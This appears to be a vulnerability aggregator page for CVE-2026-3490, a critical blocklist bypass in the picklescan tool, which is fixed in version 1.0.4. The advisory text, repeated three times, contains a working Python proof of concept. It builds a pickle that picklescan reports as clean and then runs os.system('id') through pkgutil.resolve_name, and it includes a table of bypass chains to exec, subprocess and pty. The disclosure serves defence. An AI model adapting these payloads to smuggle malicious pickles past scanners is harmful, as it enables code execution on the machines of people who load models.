Every CVE Search/ Get API key

CVE-2026-3490

picklescan - Universal Blocklist Bypass via pkgutil.resolve_name

10.0 CriticalFix available

picklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.82%Up 0.2 points since Jun 18, 2026
90%50%10%1%

What each source reports

CVE List Score used 10.0

picklescan - Universal Blocklist Bypass via pkgutil.resolve_name

picklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution.

Record
CVE-2026-3490
CVSS 4.0
10.0 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-183
Updated
2026-11-02
EUVDEUVD-2026-37737 10.0

picklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution.

Record
EUVD-2026-37737
CVSS 4.0
10.0 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-82fg-2r99-h7v6 10.0

Duplicate Advisory: PickleScan's pkgutil.resolve_name has a universal blocklist bypass

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-vvpj-8cmc-gx39. This link is maintained to preserve external references.

Original Description

picklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution.

Record
GHSA-82fg-2r99-h7v6
CVSS 4.0
10.0 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-183
Updated
2026-11-02
GitHub AdvisoriesGHSA-vvpj-8cmc-gx39 10.0

PickleScan's pkgutil.resolve_name has a universal blocklist bypass

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees:

  • STACK_GLOBAL with module=pkgutil, name=resolve_name → NOT in blocklist → CLEAN
  • The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

| Chain | Resolves To | Confirmed RCE | picklescan Result | |-------|------------|---------------|-------------------| | resolve_name("os:system") | os.system | YES | CLEAN | | resolve_name("builtins:exec") | builtins.exec | YES | CLEAN | | resolve_name("builtins:eval") | builtins.eval | YES | CLEAN | | resolve_name("subprocess:getoutput") | subprocess.getoutput | YES | CLEAN | | resolve_name("subprocess:getstatusoutput") | subprocess.getstatusoutput | YES | CLEAN | | resolve_name("subprocess:call") | subprocess.call | YES (shell=True needed) | CLEAN | | resolve_name("subprocess:check_call") | subprocess.check_call | YES (shell=True needed) | CLEAN | | resolve_name("subprocess:check_output") | subprocess.check_output | YES (shell=True needed) | CLEAN | | resolve_name("posix:system") | posix.system | YES | CLEAN | | resolve_name("cProfile:run") | cProfile.run | YES | CLEAN | | resolve_name("profile:run") | profile.run | YES | CLEAN | | resolve_name("pty:spawn") | pty.spawn | YES | CLEAN |

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why pkgutil Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is…

Record
GHSA-vvpj-8cmc-gx39
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-183, CWE-693
Updated
2026-11-02
NVD 10.0

picklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution.

Record
CVE-2026-3490
CVSS 4.0
10.0 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-183
Updated
2026-11-02
OSV 10.0

picklescan - Universal Blocklist Bypass via pkgutil.resolve_name

picklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution.

Record
CVE-2026-3490
CVSS 4.0
10.0 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Weakness
CWE-183
Updated
2026-11-02
OSVGHSA-82fg-2r99-h7v6 10.0

Duplicate Advisory: PickleScan's pkgutil.resolve_name has a universal blocklist bypass

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-vvpj-8cmc-gx39. This link is maintained to preserve external references.

Original Description

picklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution.

Record
GHSA-82fg-2r99-h7v6
CVSS 4.0
10.0 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-183
Updated
2026-11-02
OSVGHSA-vvpj-8cmc-gx39 10.0

PickleScan's pkgutil.resolve_name has a universal blocklist bypass

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees:

  • STACK_GLOBAL with module=pkgutil, name=resolve_name → NOT in blocklist → CLEAN
  • The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

| Chain | Resolves To | Confirmed RCE | picklescan Result | |-------|------------|---------------|-------------------| | resolve_name("os:system") | os.system | YES | CLEAN | | resolve_name("builtins:exec") | builtins.exec | YES | CLEAN | | resolve_name("builtins:eval") | builtins.eval | YES | CLEAN | | resolve_name("subprocess:getoutput") | subprocess.getoutput | YES | CLEAN | | resolve_name("subprocess:getstatusoutput") | subprocess.getstatusoutput | YES | CLEAN | | resolve_name("subprocess:call") | subprocess.call | YES (shell=True needed) | CLEAN | | resolve_name("subprocess:check_call") | subprocess.check_call | YES (shell=True needed) | CLEAN | | resolve_name("subprocess:check_output") | subprocess.check_output | YES (shell=True needed) | CLEAN | | resolve_name("posix:system") | posix.system | YES | CLEAN | | resolve_name("cProfile:run") | cProfile.run | YES | CLEAN | | resolve_name("profile:run") | profile.run | YES | CLEAN | | resolve_name("pty:spawn") | pty.spawn | YES | CLEAN |

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why pkgutil Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is…

Record
GHSA-vvpj-8cmc-gx39
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-183, CWE-693
Updated
2026-11-02
OSVPYSEC-2026-456 10.0

PickleScan's pkgutil.resolve_name has a universal blocklist bypass

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees:

  • STACK_GLOBAL with module=pkgutil, name=resolve_name → NOT in blocklist → CLEAN
  • The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

| Chain | Resolves To | Confirmed RCE | picklescan Result | |-------|------------|---------------|-------------------| | resolve_name("os:system") | os.system | YES | CLEAN | | resolve_name("builtins:exec") | builtins.exec | YES | CLEAN | | resolve_name("builtins:eval") | builtins.eval | YES | CLEAN | | resolve_name("subprocess:getoutput") | subprocess.getoutput | YES | CLEAN | | resolve_name("subprocess:getstatusoutput") | subprocess.getstatusoutput | YES | CLEAN | | resolve_name("subprocess:call") | subprocess.call | YES (shell=True needed) | CLEAN | | resolve_name("subprocess:check_call") | subprocess.check_call | YES (shell=True needed) | CLEAN | | resolve_name("subprocess:check_output") | subprocess.check_output | YES (shell=True needed) | CLEAN | | resolve_name("posix:system") | posix.system | YES | CLEAN | | resolve_name("cProfile:run") | cProfile.run | YES | CLEAN | | resolve_name("profile:run") | profile.run | YES | CLEAN | | resolve_name("pty:spawn") | pty.spawn | YES | CLEAN |

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

 # picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why pkgutil Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary…

Record
PYSEC-2026-456
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
picklescan
PyPI
before 1.0.4
1.0.4
picklescan
PyPI
before 1.0.4, plus listed versions
0.0.10.0.100.0.110.0.120.0.13
Show 34 moreShow less
0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.40.0.50.0.60.0.70.0.80.0.91.0.01.0.11.0.21.0.3
1.0.4

History

History
RecordedChangedSources
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-3490 is a critical vulnerability (CVSS 10.0) in Mmaitre314 Picklescan, published March 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.82%, the 57th percentile. Fixed in picklescan 1.0.4.

References

This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open